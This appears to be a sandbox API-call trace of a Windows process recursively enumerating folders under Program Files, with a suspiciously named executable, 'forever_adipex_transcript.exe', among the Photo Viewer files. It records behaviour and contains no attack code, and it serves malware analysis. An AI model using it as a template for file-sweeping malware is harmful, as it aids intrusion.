	[0157.935] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b62893, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b62893, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b62893, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x136c70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1
	[0157.935] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x687102e9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x687102e9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x687102e9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xef500, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1
	[0157.935] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689e508b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x689e508b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x689e508b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3776, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceTigrinya.txt", cAlternateFileName="")) returned 1
	[0157.935] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1bd11b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a1bd11b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a1bd11b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1
	[0157.935] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1bd11b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a1bd11b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a1bd11b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0
	[0157.935] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0157.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.935] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0
	[0157.936] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0157.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0157.938] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e2d115, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e2d115, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0157.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0157.938] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer") returned 37
	[0157.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e2d115, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e2d115, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0157.979] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e2d115, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e2d115, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.979] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.980] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer\\en-US") returned 43
	[0157.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0158.611] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.611] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3525a5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe47aa00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1
	[0158.611] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d08f33b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1
	[0158.611] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0b5599, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1
	[0158.611] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0b5599, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0
	[0158.611] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0158.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0158.611] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28e3bf0, ftCreationTime.dwHighDateTime=0x1d48618, ftLastAccessTime.dwLowDateTime=0x6ecd2600, ftLastAccessTime.dwHighDateTime=0x1d4a51d, ftLastWriteTime.dwLowDateTime=0x6ecd2600, ftLastWriteTime.dwHighDateTime=0x1d4a51d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="forever_adipex_transcript.exe", cAlternateFileName="FOREVE~1.EXE")) returned 1
	[0158.611] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0158.623] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7963430c, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7963430c, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7963430c, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x22c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1
	[0158.623] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abd1547, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x206cbb35, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4abd1547, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1db800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1
	[0158.623] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1
	[0158.623] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x212dda0c, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1a9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1
	[0158.623] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x212dda0c, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1a9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0
	[0158.623] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0158.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0158.624] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0158.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0158.624] lstrlenW (lpString="C:\\Program Files\\Windows Portable Devices") returned 41
	[0158.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0158.624] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.624] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6b25ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2d6b25ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2d6b25ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc220, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0158.624] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6b25ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2d6b25ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2d6b25ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc220, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0158.624] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0158.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0158.624] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1
	[0158.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0158.625] lstrlenW (lpString="C:\\Program Files\\Windows Security") returned 33
	[0158.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0158.625] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.625] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 1
	[0158.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0158.625] lstrlenW (lpString="C:\\Program Files\\Windows Security\\BrowserCore") returned 45
	[0158.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0158.625] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.625] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x139a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BrowserCore.exe", cAlternateFileName="")) returned 1
	[0158.625] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0158.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0158.626] lstrlenW (lpString="C:\\Program Files\\Windows Security\\BrowserCore\\en-US") returned 51
	[0158.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0158.626] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.626] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 1
	[0158.626] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 0
	[0158.626] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0158.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0158.626] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1
